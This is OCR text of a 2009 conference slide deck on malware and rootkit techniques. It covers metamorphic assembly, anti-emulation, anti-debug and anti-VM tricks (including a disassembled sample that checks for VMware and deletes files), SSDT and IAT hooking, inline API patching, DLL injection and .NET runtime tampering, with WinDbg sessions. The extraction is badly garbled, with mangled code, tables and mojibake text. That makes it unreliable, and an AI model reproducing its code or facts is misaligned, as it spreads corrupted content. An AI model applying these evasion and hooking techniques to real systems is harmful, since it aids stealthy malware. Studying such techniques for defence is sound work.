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+ Malware

+ Dot Net Framework
¢ .net rootkit

+ Anti tech

e Q&A
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Malware

¢ Virus

+ Backdoor

¢ Trojan horse
+ Rootkit

¢ Scareware

¢ Adware

¢ Worm
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Infect

+ Executable

¢ Interpreted file
+ Kernel

¢ Service

+ MBR

+ Hypervisor
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Hypervisor rootkit

App App

Target OS

Haradware
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Hypervisor rootkit

App App

Rogue app Target OS

Host OS Virtual machine monitor

Haradware
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Malware design & tech

¢ Metamorphism

+ Obfuscations

+ Anti-emulation

+ Anti-Virtual Machine
+ Anti-debuggers

+ Rootkit Technology
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Metamorphism

push ecx
mov ecx,ebp
mov [ebp - 3], eax push ecx add ecx,33
mov ecx,ebp push esi
add ecx,33 mov esi,ecx
mov [ecx-36],eax sub esi,34
pop ecx mov [esi-2],eax
pop esi
pop ecx
/

push ecx
mov ecx, ebp
push eax
mov eax, 33
add ecx, eax
pop eax

push esi
MoV esi, ecx
push edx

mov edx, 34

sub esi, edx

pop edx

mov [esi - 2], eax
pop esi

pop ecx

/

HIT Conference 200%

—_—
push ecx

mov ecx, [ebp + 10]
mov ecx, ebp

push eax

add eax, 2342

mov eax, 33

add ecx, eax

pop eax

mov eax, esi

push eax

MoV esi, ecx

push edx

xor edx, 778f

mov edx, 34

sub esi, edx

pop edx

mov [esi-2], eax
pop esi

pop ecx



Obfsucations

NORMAL CALL OBFUSCATED CALL

LOa: push L1
LOb: push L5

L0: Ccall L5 LOc retO

B KN p L1:
LR A L2:
SIS L3:
L4z .. IO ..
®» | 5:- <proc> » L5: <proc>
L6: .. L6:

Call Obfsucations to prevent static analysis

HIT Conference 2009
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Anti-emulation vs anti-debug

¢ Anti-debug

* Hide the fact that someone with a debugger is
stepping/monitoring your program

* Focus in differences in system when a
debugger is active vs not

+ Memory structures
+ Time usage (ticks)
+ APl behaviour

+ Suspicious windows/drivers/services, e.g. debug
rights without asking...

HIT Sonference 200G
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Anti-emulation vs Anti-debug

¢ Anti-emulation
 There is no debugger to hide

* Detect the difference between an emulated
system and a real system

+ Access complex resources, use complex
calculations

+ Detect limitations which are not possible (or
very time consuming) to emulate

+ Use (or setup) exotic APIs so they deliver a
specific error condition

e Can this be used against it?

¢ What is virtual machine detection?

HIT Sonference 200G
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Challenge For Emulators

¢+ Code that “does the bad stuff’ is hidden in many ways
* Runtime libraries
o Compressors
¢ UPX, FSG, PEC...
* Encryptors
+ Simple or advanced runtime encryption
* Protectors
+ SVKP, Themida...
s Installers
+ Nullsoft, RARSFX, ZIPSFX etc
« Embedded dropped components
+ Libraries/services, kernel drivers, scripts, executables etc.
+ What to do with a single component; DLL or driver?
* Download links
+ Download malware components in proprietary formats & protocols
» Bad records inside file formats (like XLS, JPG etc)
+ Exploits to run binary code

HIT Conference 2009
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Antli Emulator Code

+ CreateFileA (e.gd.
"C:\WINDOWS\SYSTEM32\drivers\ntfs.sys)

+ GetFileSize (0x0000002A,0x00000000)

+ WriteProcessMemory
(OxXFFFFFFFF,0x0043661D,STACK_ADDR,O
x00000004,0x00000000)

¢ EnumWindowStationsA() -=> callback

¢ EnumServicesStatusA() -> looking for
standard services

HIT Conference 2009
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Anti-Virtual Machines

¢ Pseudo code:

IF detect vmware
THEN do nothing, destroy self, destroy system

ELSE
Continue with malware payload

¢ DASHER Variant Disassembly Example:

PS :00401D51 push offset alNetStartFindst ; "n
start [ findstr VMware && echo VMwa"...

PS :00401D52 push edi

PS :00401D53 call sub 402148

PS :00401D58 lea eax, [ebp+var_300]

PS :00401D5E push eax

PS :00401D5F push offset aNetStartFind_O ;
start | findstr Virtual &&echo Vir"..

PS :00401D64 push edi

:00401D65 call sub_402148

HIT W QQ4Q1D6A push offset aDel0 ; “del

et
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Anti-debuggers

+ Making reverse_—en?ineering and
disassembly painfu

e Polymorphism
* Encryption
* Interrupt disabling

 Debugger detection
+ Behavior modification
+ Crashing debugger

=

HIT Conference 2009
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Forms of Rootkit

+ KERNEL-LEVEL
¢ SYSTEM ACCESS
¢ APPLICATION-LEVEL

HIT Sonference 200G
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System Service Call Cycle

User Application

= =~
call to CreateFile API return CreateFile result
~~— L1
Kernel32.DLL
1 e
call stub NtCreateFile API return NtCreateFile result
<L | | USER MODE
NTDLL.DLL
] —_—
EAX = 0x00000020 Switch Back to USER

call INT 2Eh MODE

18



NTDLL Interface

+ Kernel32.DLL imports solely on the library
NTDLL.DLL

o NTDLL.DLL is an interface to Int 2Eh function of
Windows NT

+ Int 2Eh signals a need to switch from user mode
to kernel mode

¢ Int 2Eh is internally known as KiSystemService().

+ Int 2Eh handler looks up on a table in NTOSKRNL
called KeServiceDescriptorTable()

HIT Conference 2009
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NTOSKRNL Exports

by

|
s E | IT Time Date Stamp : JEABDSEEN [24/04/2003 15:57:28] |
E ntry Paint | Ord Wer - 0o
O0421E3ER  5aa Ol Hame . htosknl exe [ |
on42109ek 589 | Exported Funchions ;1464
O0421EARBK  Ra0 E xported Mames : 146R4
Q042226EH 591 Fointers to Entry Point - 00000023k
o0422012h  h92 Fointers to Mame : DEIEIZ'ITEIEI'
O0448F28k 593 Fointers to Ordinal - O0OP2DES The Strl.JCtU re Of.
O04202E4h 594 FEMETEEVErT KeServiceDescriptorTable:
00423F56H  B95 K.eReztoreFloatingFPogitState
0042298CH  B9G K.eRewvertT ol serdtfigity T hrea

0422144k 537

00423056H 593
004230400 599

(045E SC0k

r N 1 =1
s 2 S0l T iy

typedef struct
ServiceDescriptorTable {
PVOID ServiceTableBase;

K.eRundownlusue

00422B10h B2 KeS etB asePricrit T hread PVQ' DSerylceCO unterTabl e(_O);
O041E43ER B0 F.e5etDimal oCoherency un5|gned Int NumberOfServices:
004203840 604 KeSetE vent ,

00420400k 605 K &5 etE ventE oostPriarity PVOID ParamTableBase;

}

Y
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Getting Into The Root

Application: Call to CreateFile() API

4L

Kernel32.DLL: Call to NtCreateFile() -- Native API

ntdll1*HtCreateFile
BA1E:77F95238 EBE200E0B600 Ef: .
BA1B:77F95230 8D542404 ED¥ . [ESP+H41 NTDLLDLL

Aa1B:"77F?5241 CD2E
Ba1B:"7F?5243 (C22CH8

! ‘ Invokes KiSystemService()

NTOSKRNL.EXE: Call to KeServiceDescriptor Table

HIT Sonference 200G
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KeServiceDescriptor Table

ServiceTableBase ParamTableBase
0x20 @ NtCreateFile 0x2C bytes
0x29 @NtCreateProcess 0x20 bytes
Ox6A @ NtOpenProcess 0x10 bytes

HIT Conference 2009



Hooking System Service

+ Choose a system service exported by
NTOSKRNL.EXE

+ Obtain the address of this function

+ Verify if the function starts with a
MOV EAX, OXAAXXXXXX construct.

¢+ Retrieve the index value associated
with the function.

HIT Sonference 200G
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Hooking System Service

Example of NTDLL Exported Functions

ntdll*NtCreateFile

AA1B:7?7F95238 EBEE2AAADAAA EnRX .
BA1E:77F9523D0 8D542404 ED¥ . [ESP+H41]
BA1E:7?7F95241 CD2E

BA1B:77F95243 C22CHA

ntdl1*MtCreateProcess

BU1B:77F?2D2C BIE2990B0BA

BU1B:=77F?2D31 BDLS42484 EDX . [ESP+H41]
2E

A1 B:7?7F?2D35 CD2E
HA1B:77F?2D37  C228088

ntdl1*NtOpenProcess

BE1B:77FRESDE BSoAUBOOANE ERH .
BE1B:77FBESE3  8D542404 EDH . [EEP+@4]
BA1B:7?7FBESEY CD2E

BE1B:77FBESE? C21800

24



Hooking System Service

+ Import the undocumented structure
KeServiceDescriptorTable.

+ Locate the function index

+ Overwrite the corresponding
ServiceTableBase value with the new
system service handier

HIT Sonference 200G
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APl Hooking: IAT Modification

PE File Before IAT Patching

Headers

Code Section

CALL [CreateFileA]

Import Section
CreateFileA:
0x12345678

ooooooooooooooooooooooooooooooooooooooooooooooooo

Kernel32.dll

HIT Conference 2009

CreateFileA():
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APl Hooking: IAT Modification

PE File Before IAT Patching

Headers

Code Section

CALL [CreateFileA]

Hook:

JMP 0x12345678

Import Section
CreateFileA:
Addr of Hook

ooooooooooooooooooooooooooooooooooooooooooooooooo

Kernel32.dll

CreateFileA():

27



AP| Hooking: Dynamic Code Patching

Original FindNextFile() API Function

FindNextFileA:

195D6: 55 PUSH EBP

195D7: 8BEC MOV EBP, ESP
195D9: 81EC60020000 SUB ESP, 260
Continue_Here:

194DF: 53 PUSH EBX

195E0: 8D85A0FDFFEF LEA EAX, [EBP-260]}
195DF: XX <.original code

continues..>

HI'[ Conference 2004




AP| Hooking: Dynamic Code Patching

Patched FindNextFile() API Function

FindNextFileA:
195D6: E9XXXXXXXX
195DB: 90

195DC: 90

195DD: 90

195DE: 90

Continue Here:
194DF: 53

195E0: 8D85A0FDFFFF
195DF: XX

Hook: <process params>

<alter data>
H1T Confeyamtce 2009

JMP Hook
NOP
NOP
NOP
NOP

PUSH EBX

LEA EAX, [EBP-260]
<.original code
continues..>

call Saved Original

29



DLL Injection

Malware Process

Call to CreateRemoteThread() Q

Victim Process

Using

CreateRemoteThread(),

a call to LoadLibrary()
API of can cause a
malicious DLL to be

loaded on the remote

process’ address space.

Call to LoadLibrary() \
I Y

Malicious DLL

V

HIT Conference 2009
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Direct Memory Writing

Attacking Process

HEADERS

Code Section
VirtualAllocEx()
VirtualProtectEx()
WriteProcessMemory()

CreateRemoteThread()

o

Victim Process

HEADERS

Code Section

Heap

/

Install_Hooks();

Patching Another Process

HIT Conference 2009
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What i1s Microsoft .NET?

¢ What is .NET?

* New Microsoft Framework for the
Internet Development Environment.

* |t is a protocol stack and computing
model for TCPI/IP-based, distributed
computing.

 The .NET Enterprise servers are built for

interoperability from the ground up,
using open Web standards such as XML

with increased scalability and reliability.

HIT Conference 2009
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.NEJ;Architecture Overview
L . .

Commeon Language
Common Language Runtime Runtime

Exgtutas code, mamtans
security, handles component
“plurnbing,” and depandencias

———

HIT Conference 2006



Common Language Runtime (CLR)

+ .NET applications are compiled to a common
language known as Microsoft Intermediate
Language, or “IL".

o The CLR, then, handles compiling the IL to
machine language, at which point the program is
executed.

+ The CLR architecture provides expansive tool
support , simpler deployment (end of "DLL Hell"),
superior scalability, support for multiple
programming languages and a common data type
system

HIT Conference 2009
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ECMA-335

E Ch =T Internet Explorer == x|
BWRE NHE WE0 BREW TEM NHEd [« |
EE—H - = - @D [ 4| QuEm axmeE e 2 - S9 HF- =

FELETY |g"| http e ecria- international org/publicationsistand ard wEermna- 235 htm ;| IEE |ﬁ% el

@ecma T
Rue du Rhvone 114 CH-1204 Genewva
NTERHATIO

Bl T: 441 27 B49 G000 F- 441 22 849 5001

What is Ecma |~ Activities | ™ News [T Standards

Erinter Friendly Wersion

Standards Index “_Back

Standards List Standard ECMA-335
Common Language Infrastructure (CLI)

Withdrawn
Standards 4t edition (June 2006)

Tech. Reports
Inde:x
This International Standard defines the Common Language Infrastructure {(CLI in
which applications written in multiple high-level languages can be executed in

Tech. Reports List different system environments without the need to rewrite those applications to

take into consideration the unigue characteristics of those environments, This

. International Standard consists of the following parts:

withidrawn Tech.
Beports « Partition I Concepts and Architecture — Describes the overall architecture of
the CLI, and provides the normative description of the Common Type System
[CTS), the Wirtual Execution System (WES), and the Common Language
Specification {(CZLSY. It also provides an informative description of the
metadata.

s Farftition II: Metadata Definition and Semantics — Provides the normative
description of the metadata: its physical layout (as a file format), its logical
contents (as a set of tables and their relationships), and its semantics (as
seen from a hypothetical assembler, Hasm).

s Fartition III: CIL Instruction Set — Describes the Common Intermediate

hd
& T el @]

HEE B NFWIN'TWl %Wl & \FLw.way
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Common Language Runtime (CLR)

Common Intermediate
Type System Language
runtime
Boolean compilers
~ Garbage
'||!' "
Execution Edﬂi:ﬂ:}"' Class loader
Char Support, Runtime walker and Memory
Double functions Code : layout
In[LE e TR T Hmmﬂ'
Int32 Security
-y Functionality
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CLR: Internals




Common Language Runtime

+ Manages running code
e Threading, Memory management
 Eliminates memory management drudgery

« Kills entire classes of bugs (e.g., memory corruption,
ref counting)

Auto-versioning, no more DLL Hell
e Scalability, performance, reliability all improve

+ Fine-grained evidence-based security
 Code access + Role-based
 Integrated with underlying OS
«  Security model ensures safety

+ No-touch deployment
o XCOPY, no registry required
BIT ©bjectireidting with SOAP



.Net Assemblies

Source Code “\Vl\\ Assembly
Compiler
csc.exe or vbhc.exe
C++, C#, VB or DLL or EXE
any .NET
language

HIT Conference 2008
40



.Net Execution Model

Source
code

Managed
code
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NET Frameworki} = ?5“%

Managed Code#h = 5=t
fed |

HH E,%E%?‘%

AR Vd =

ik lvﬁﬁ = {AREat
R
/GS Option--;#* [#TVC++ .NET
[RpESRE B
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» CLR's Virtual Execution Engine

L
)

Managed Native Code

e ||Ev (Class Coader)
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— i PEAR 5N

CFF Explorer VII - [uncton.exe =10] x|
. ' "y H [@ junction_exe ] b4
il Fropertr Walue
= File Name e tion exe
— = Dos Header N Fortable Executable 32
=) Mt Headers Fila Ito ASPack w212
=]l File Header - -
@ Dptional Header File Size 40 50 KB (41472 bytes)
= Data Directoriss [x] PE Size 40.50 KB (41472 bytes)
—— 5] Section Headers [=] Created Tuesdaxw 19 Maxyr 2009, 11 2247
—— [ Import Directony bodified Monday 01 Jone 2009, 13 32.06
— [0 Resource Directory Accessed Wednesday 15 July 2009, 17.35.36
[ [E' T e e e FD5 F109C904P91831 S058BDCENZA 219BC24
—— “i Addrezs Converter
| 9\ Dependency Walker SHA-1 4532900F1 BOS0F25A053E A TOEGD 1 9EE2COS0DEAF

— i'!jﬂ:,.H-E'.l.'. Editor
— ':‘!i_;,.ldentiﬁer Propertyr Walue
— i'!_iﬂ:,.lmnul:l-rt Adder Comments

'{iﬂ' lJuick: Disassembler Companyame Sxrsinternals - wewsw sarsinternals com
— "!!;.Flehmlder

— ﬁﬂesuurce Editor FileDescription Junchon

L @, UPX Utility FileVersion 1.05
Internaltlame Junction

LegalZopwright Copyright 2 2005 Mark Eusdnovich

Legal Trademarks

CiriginalFilenaomne jurc oo e
PrivateBuild

Producttlame Sxrsinternals Jonction
Product¥Wersion 1.05




Import session® 1 5 1| 5 iEentry

ZFF Explorer VI - [junction.exe] ;lglﬂ
File Seftings 7
. \\ H @ junction_exe x
I - IModule Name [mports OFTz TimeDatel tamp Forward e hadin Wame B4 FTs QAT
= EFiIe: junction. exe
—— [ Dos Heade szhsi (nFunctions) Dword Dword Dword, Dword Dword
a g "F':T:if; - kene132 411 3 00000000 00000000 00000000 DO016FAC 00016F5C
= Optional Headsr user32 dll 1 00000000 00000000 00000000 00017024 00017053
(3 Data Directories [x] gdi32.41 1 00000000 00000000 00000000 0001702F 00017058
— [ Section Headers [4] comdlg32 41 1 00000000 00000000 00000000 00017039 00017063
1

advapi?2.dll 00000ana | 00a00o0a 00017046 aoa1706eE

— () Resource Directory
— I3 Relocation Directary
— 'ﬁ.ﬁddress Converter
— ‘ﬁ, Dependency Walker
— "'ﬁ;,Hex E ditor

— %, Identifier

— "'ﬁ;,lmpnrt Adder

— 1"ﬁ;.llui-::k Dizassembler
— 4, Rebuilder

— 'ﬁ.ﬁesuume Editor

— &, UPX Utility

HIT Conference 2009
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Runme Form _exe

l

N =1

8§
: - | Property

Walue

| EIFile: RunmeFormexe || Fils Hame

— (=] Dos Header File Twpe
[El Mt Headers

R e Form esoe
Portable Executable 32 NET Azmemblywr

— e'5__;,.H|3:M: E ditor

—— M, 1dentifier

— “!i,, Import Adder

— i'!i.,;,.lluinl::lr. Dizassembler
—— ‘M. Rebuilder

— ‘ﬁﬂ. Reszource Editor

; File Info Microzoft Wisnal Studio WET
=l File Header - -
(2] Optional Header File Eize 2000 EE (20420 buwrtes)
=] Data Directories [x] FE Size 2000 KB (20480 birtes)
— =] Section Headers [x] Created. Tueadanw 17 *Marnch 2009, 17 27 46
—— I Irmport Directony Fodified Fridaxy 07 Mowember 2003, 15 57 .52
— [E Resource Directory Accessed Wednesday 15 Fuly 2009, 17 51 24
@E:' EZ::E;E:‘EE';??DW MD5 O3EETFAACSET24FFI0BAEBOFI1 BAZ441
=3 MET Directany sHA-1 ED13Cza85CD3BORIZ0B2ES4425 264346 5Fa078
=l MetaData Header
=] Metabata Streams Fropertr Walue
I Cormpany M ame Tren
=) Tables Headsr FileDescription Windowss pplication?
S Tabies File Versio 1.0.0.0
=] #Stings = n =
= #US Internalblaonne WindowsA pplication? exe
=l #GUID Legal”aopywright Zopyright Tren 2002
=l #Elob O grinadFilenans Windowsd pplicationd exe
%Address Converter Productlame W ind o sd pplication?
— “L Dependency Walker Frod net¥ersion 1000
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Import session & 7

oL SN

" RunmeForm ene |

- iFentry

=]

= EFile: RunmeForm.exe
— (=] Doz Header
=] Mt Headers

= File Header

=] Optional Header

— (=] Section Headers [=]

— ) Resource Directory
— [C2) Relocation Directory
— Debug Directony
[C3.MET Directong

=] Metalata Header
=] Metalata Streams
= #~

|5 Tables Header
%7 Tahles

=] #5hings

=) #Us

= #EUID

=] #Blob

— "ﬁ;.ﬁddress Converter
— “ﬁ, Dependency Walker
— "ﬁ;Hex E ditor

— % ldentifier

— "ﬁa.lmpolt Adder

— %% Quick Disassembler
— %, Rebuilder

— "ﬁ;Flesource E ditor

2|

=]l Data Directories [x]

! FModule Mame Imports OFTs TimeDateStamnp Forwarden”hain Mame EW A FT={IAT)
I ==l (nFunctions) Diwrord, Diwrord, Drropd Drarod, Drarod,

macores.dll 1

0000z42C

Q0000000

00000000

0000344E

Qoooz000
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_Metadata iSignature

B }:_‘} \g @ Hack ke _oxe ] =

| Member | rifset | tize Value
= [ File: HackMe. exe N signetoe | DoooozEC | Dweora 43445342
— (= Dos Header MajorVersion 00000270 Ward (aTulu}!
=) Mt Headers MinorVersion OO000Z72 Word o001
=l File Header
=1 Optional Header Reserved OOO002 74 Drwrord Q0000000
(5] Data Directories [=] VersionLength 000002 7S Drwrord OoO0000C
— | =] Section Headers [=] WV ersions tring aooooz7C Mra w0 50727
—— I Irport Directary Flags (][] n]nped=ts W oaoo
— I Resource Dirsctory Hurbe D fS bre ams 0000025 4 O00s

—— I Relocation Directany
I .MET Diirectory

[Z]l Metalata Streams
= #~

=] Tables Header
"% Tables

=l #Strings

=1 #Us

=] #GEUID

=] HEIlob

— e‘ﬁ_;,..lﬁnddna:;s Converter
— “!i_, D ependency WwWalker
— e‘f_i_;,.He:l-l: E ditor

—— %, Identifier

— “!i_, Import Adder

—— %%, Quick Disassembler
—— %, Rebuilder

— “!i_, Resource Editor




[FetaPuclk 1.0 ] b »oda

— II:II }CI
& bout

[55

f55w 1.

@ Flagzs: 0=l

------ P EntowPointToleen: Q5000001
A MMetaData DataDivectorr

-l Fesmources DataDdrectors
g StonglamneSignatore DatalDdvectors
g CodebdanagerTable DataDiivrectors
@ W TableFimops Datalivectors
@ Exportfddres==Tablelomps DatalDicecboirrs
[55

banaged MatwveHeader DatalDirectoirs

L@@ MYVID: I07ECBACE-2D2A-44FE-9B93-01 FACEQO7AF]L }
=] wp B =memblyr Info

] e BA=memblry FEeferences
Module Feferences

Flobal Fields=

Flobal Foutines

Global MMember Feferences
Trpe Defimitons

Twpe References

Trpe Specificatons

Tzer Stoings

|HackMe exe |[CLE Header]




Metadatac=rtable entry

EI @ Module (1)

B [ File: HackMe.exe
— (=] Doz Header
=] Mt Headers
= File Header
=] Optional Header
=]l Data Directories [x]
— (=] Section Headers [=]
— Eﬂlmport Directory
— [C2) Resource Directary
— [ Relocation Directaony
[C3.MET Directong
=] Metalata Header
=] Metalata Streams
= #~
|5l Tables Header

=] #5hings

=] #us

=] #EUID

=] #Blob
— "ﬁ;.ﬁddress Converter
— "ﬁ;Dependency walker
— "ﬁ;Hex E ditor
— “%, Identifier
— "ﬁa.lmpolt Adder
— %% Quick Disassembler
— %, Rebuilder
— "ﬁ;Flesource E ditor

L__| &:I TypeRef (43

2] 1 - {iobject - System)
=2l 2 - {CompilationRelaxationsa
2] 3 - (RuntimeCompatibilityakkr
2] 4 - {Console - System)
=0 TypeDef (2)

~-[E 1-{=Module> -}

2] 2 - {Hello - ReplaceDll)
=120 Methad (2)

E 1 - {Main)

-2l 2 -{.ctor)

I'_'I &:I Param {1}

; ~IEl 1 -{args)

L__| &:l MemberRef {5

=l 1 -{.ctor)

2l 2 -{.ctor)

] 3 - {writeLing)

] 4 - {writeLing)

-2l 5-{.ctor)

= &:l Cuskomakkribute (23

I'_'I &:l Assembly (13

=l 1 - {Hella)

EI&D AssemblyRef (1)
eE 1 - imscorlib)

<
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== =]
-4
Member Offset Size Walue reaning
Generation 00000314 Woxd oooo
Waume 00000315 Woxd 0004 Hello exe
Tefwrid 00000318 Woxd o001 GUID Index
Encld 0000021 4 Woxd oooo GUID Index
EncBaszeld 0o000021c Woxd oooo GUID Index
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Metadata check#s ]

o Static check
o Compilerfs £

o ¥u| 2V 5% p(PeVerify.exe)

¢ Dynamical Check
* .net core check

¢ Static check+

T
e FZEFNHRB TN
failedsnfz st kg Pt
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Code modify

¢ d 3t net ¥ it Fround-tripping3k it
2 code modlfy” VR R ?fﬁz@’

oﬁ%mgﬁﬁ%ﬁﬁﬁiﬁﬁ

. 2 ﬁa & Refflectors® IDA Pro - 4=
¢ X3 round-trippingsig it
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File Edit ¥iew Toolz Debug Window Help

i . B 41 ren E orp
ol B S EE A (BB @ [ Ee R SE S S D
~{EE 0=00010000 - Ervvir 1ol x|
= s 1ol =
- {E8 000020000 - Proce = — =101.x|
58 0w00712E000 - Thie Liebug session started on EHI=, £H 15, zo09, ac o0s:52 M| [gax: o0x00000000 (STATUS SUCCESS)
0001 30000 - Def Starting configuration: EEX: +0x00121F04 (Default Process Heap)
@ & - Leal Driver enabled. ECH: Ox00000009
|:—:|" -MET Profiler enabled. ED:- OxO0000000
Ox00400000 NOT breaking on process initialismatiomn. EDI: +0x00131F70 (Default Process Heap)
0=00407 000 HOT breasking on process shutdowm. EZI: +0x7FFDFO00 (Process Envireonwment Elock)
Ox00402000 Ereaking on main. ESD: +0x001EZF9S4
0x00403000 HNOT breaking on thread start. EEF: +0x001lZFCoS
Stepping through loops. -
O=00404000 . . . .
00405000 Including OutputDebugString in output log display. EFlags: +0x0000020Z o d I & s = 0 a 0p 1l o
bd Breaking on first JIT ewvent.
0=00406000 Displaying CLE system profiling events in the log. ‘I I ’I
Ox00407000 Sorting items in .NET GC object display by type.
DOS Header Including object names in .NET GC ockject display. [FID: 1588 (D:xG34) TID: 1932 (0=78C) i
File Header Including MEIL in disassembly.
Optional Heade Analyze mode enabled. _Il:ll XI
Sections Default debuy symbols locatiomn. A|
— Exact.only debuy s=ymbol matching. ) +0x001ZFocd 71 44 oD . —314
= e T +0x00LZF988 00 FO .... —-210 Process Enviromment Elock
SSOUICes B el i +0x001ZF28C 00 EO .... -30C Thread O0x75C Environment
MET MetaDrats Lefreshing memory displays automaticallwy. OxOOLlZF9SS0 00 00 ... —=n=s
g MET tethods Refresh:?_ng process inf?rmat,ion displajfrs automatically. OxO00OlZFo9d4d 43 00 C.-. —-3204
Ox77EGOO00 - KERI Befreshing structure displays automatically. OxO00OlZFo9s 5C o0 N . —=00
Ox7FF20000 - NTDI Befreshing breakpoint displays automatically.
Dw7I000000 - msco BEefreshing execution path displays automatically. Ox0O0OLlZF9a0 4F 00 HN.T. —-ZF=
Befreshing exception handler displays automatically. OxO001lZFoid 5C o0 W= —ZF4
Ox7FFAD000 - Code i i i i
TR e T D:E.splayz?_ng ESP at startc o_f debiagrorirug - OxO001lZFoAs 29 00 ¥.=. —2F0
& - e Displaying debug symbols in the memory dump Ox001ZF9AC 24 00 PE— _zEC =
Ox7FFDFO00 - Proc Including register hints.
= 7FFE QOO0 Restricted operations (setting breakpoints, reading memwo ‘I I L4
Commandline: "C:hZHackMs.exe". |D)-cﬂDDDDG'?behes | | J o

Starting Directory: C:oh
DebugStartingProcess succeseded.
PID: Ox0&534 TID: O0x0728C Creating: C:'ZHackMe.exe at O0x00400
PID: 0Ox0634 TID: Ox0728C Loading: CoAZWINNT.systemIZ3WNTDLL.D ; Secticom: _text
PID: 0Ox06324 TID: Ox072C Loading: CoAZWINNT.systemlIZimscores
PID: 0Ox06324 TID: Ox0728C Loading: CoAZWWINNT.systemIZ3WHKERNELSZ ; EXP: DbgEreakPoint (20}
1 = 0x77F9133C: CC

O0x7?7F31330D: C3
| I | K | |
Y

[PID: 15588 (006343 TID: 1932 (0:075C) | [ [ [AMALYZE [ 2 |[PID: 1588 [0x634) TID: 1932 (0=78 2

0x77?F31330: MTDLL._DLL
0x77?F23A01: MTDLL._DLL
0x77F31E23: MTDLL._DLL

e 1l

[ -—=—=='ED#** [K£.0.100s1.0.100s [ [ [0:00400000 - Hagkbe exe - 16 items @] =
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CLR stalking

o T EF
* Windbg, symbol(pdb)
* VisualStudio 2005
e .net framework 2.0 runtime RTM

e - B.net| &
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ackMe exe - WinDbhg:6.11.0001 404 86

CommandLine: C:~Hackle. exe

Commmand - C

Ezecutable search path is:

eip=77£9193c e=sp=0012£f{984 ebp=0012{f=98 iopl=0

cz=001b === 0023 d==0023 e=s=0023 f==003b g==0000
ntdll ;
77£9 int 3

0:aan

eax=00000000 ebx=00131£04 =cx=00000009 =d=x=00000000 e=si=7ffdf000 =di=0013

b=l - 18] x|

Synbol search path iz owsynbols:SEV#*c: ~synbols*http: - smsd]l microszoft . con dovnload<svymbols

ModLoad: 00400000 00408000 image00400000

ModLoad: 77{230000 77ffc000 ntdll dll

HodLoad: 79000000 79045000 C:»WIHHT~sy=tendZ~mn=cores.dll

ModLoad: 77e60000 77{34000 C:~WIHNT~=vy=stendiZ~KERNEL3Z dll
(7c4.768) . Breal instruction exception — code 20000003 (first chance)

nv up 21 pl nE na pg
efl=00000

A

[path: c:~winntmicrosoft.
dbghelp: image 6.11.0001.404, APT B

[path: C:~Program Files~Debugging
ext: image 6.11.0001.404, API 1.0.0.

b

built 7

ue=t : image 6 11.0001. 404 AFT 1. D 0.

0.o0a0
0.o0a0
HodLoad :

79=70000 7a3d1000

eip=77188647 e=sp=0012{49 Ehp=ﬂﬂ12f52é 100
c==001b ===0023 d==0023 e==0023 {==0038
ntdll IHtHapViewlfSection+0xhb:

image 2.0.50727 .42, 2

st framewvork~wy 0. .50727~=0= . dll]

built Thu Feb 26 09:55:30 2009

oals for Windows (=86 )~dbghelp.dll]
sy Feb 26 09:55:30 2003

[path: C:~Program Files~Debugging Toolz for W

77ER8647 22800

ret

28h

end

nodule name

no400000 00408000 image004000
70270000 70ade0nn SHLWAPI
7hel0000 75=la0nn IMM3Z2
Frdfo0onn 7red4fo0n TSER3Z
77ehl000 77{£34000 KERFNEL32
7740000 77E£74000 GDI3Z2
77fa0000 ?rR{fc000 ntdll
7e000000 7a045000 nsvcrt
7eef0000 7E75£000 RPCRT4
7000000 79045000 nEcores
79ed0000 79735000 ADVAPTI2
79270000 Ya3idlooo nscorvks

] (deferred)
(deferred)
(deferred)
(deferred)
(pdb symbols)
(deferred)
(pdb zymbols)
(deferred)
(deferred)
(deferred)
{deferred)
(deferred)

Id kernel32

.chain
#% & DLL chain

nv up 21 pl =r na pe nc
efl=000002464

Sxe ld:mscorwks
% loadp# ¢

c:~sfnbols~kernel 32  pdb*.

o wcfnbol=~ntdl]l pdb~41AFDCDE1Nntdl]l  pdb

0:000:

ows (=86 )wwinext  C . ~Pr

(27:26 2005

at



EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

Micro=oft (E) Windows Debugger Version 6.11.0001.404 H86
Copyright (o) Hicrosoft Corporation. All rights reserved.

CommandLine: C:~Hackle exe
Svmbol =earch path i=: c:~=vymbols;SEV#*c . “~=synbols*http: vm=dl]l microsoft . com-dowvnload-svymbols
Ezecutable search path is:

ModLoad: 00400000 00408000 inage00400000

(850 .7c0): Break instruction exception — code 80000003 (first chancd
eax=00000000 ebx=00131{04 ecx=0000000% =dxz=00000000 e=i=7i{fdf000 e=di

eip=77£9193c e=sp=0012£f{984 ebp=0012{f=98 iopl=0 nv up 21 pl nz

c==001b s===0023 d==0023 e==0023 {==003L g==0000 ef ]

ntdll | DbgBrealkPoint : I -
77£3193c oo int 3 bp mscoree! CorExeMain

0:000> .chain
Ezten=zion DLL search Path:

C:~Program Files~Debugging Tools for Windows (x86)-~W2KFre.
Extension DLL chain:
o wwinntsmicrosoft  net~frameworlw2 0. 50727 =0z images 2.0.50727

[path: c:~winnt*microsoft . net~framevork-~w2 0. 50727 =0z .dll]
dbghelp: image 6.11.0001.404, API 6.1.6, built Thit Feb 26 09:55 730 Z009

[path: C:~Program Files~Debugging Tools fgz¥ Windows (x86)~dbghelp.dll]
ext: image 6.11.0001. 404, APT 1.0.0, built u Feb 26 09:55:30 2009

[path: C:~Program Files~Debugging Too for Windows (x86)~winext~ext dll]
uext: image 6.11.0001.404, APTI 1.0.0. buwilt Thu Feb 26 09:55:26 2009

[path: C:~Program Files~Debugging Tools for Windows (286 )~winezt>uext . dll]
ntzdexts: image 5.00.2195 6618, bui Tue How 19 08:21:06 2002
bugfing Tools for Windows (=286 )W2KFresnt=dext=s.dll]

Net %< 3 #, CorExeMain® %

wPrg rog

000

| > bp m=coree! _corExelain
00

Breakpoint U hi
eax=00000000 ebx=7{fdf000 ecx=00000101 edx={f{ffffff e=si=0132f{tcc =di=02304b38

2ip=79011b2b e=p=0012ffcd4 ebp=0012fff0 iopl=0 nv up 21 pl Zr na pe nc
c==001b ===0023 d==0023 e==0023 {==0038 g==0000 efl=00000246
mnecores! CorExeMain:

79011b2b &5 push ebp

0000 kb

ChildEEF RetAddr Arg=s to Child
Q012ffc0 77288945 02304b38 0132fetcc 7££d4df000 mscoree! CorExeMain
QO12f££0 0O00O0OO0OD 00402382 00000000 Q0O0O00c8 KERENEL3Z |BazeProcessStart+0x3d

dl | i

oo




EM Comumnand - C\HackMe exe - WinDbg6.11.0001 404 X236 El.:lﬁﬂjﬂ

0:000> g -
Breakpoint 0 hit
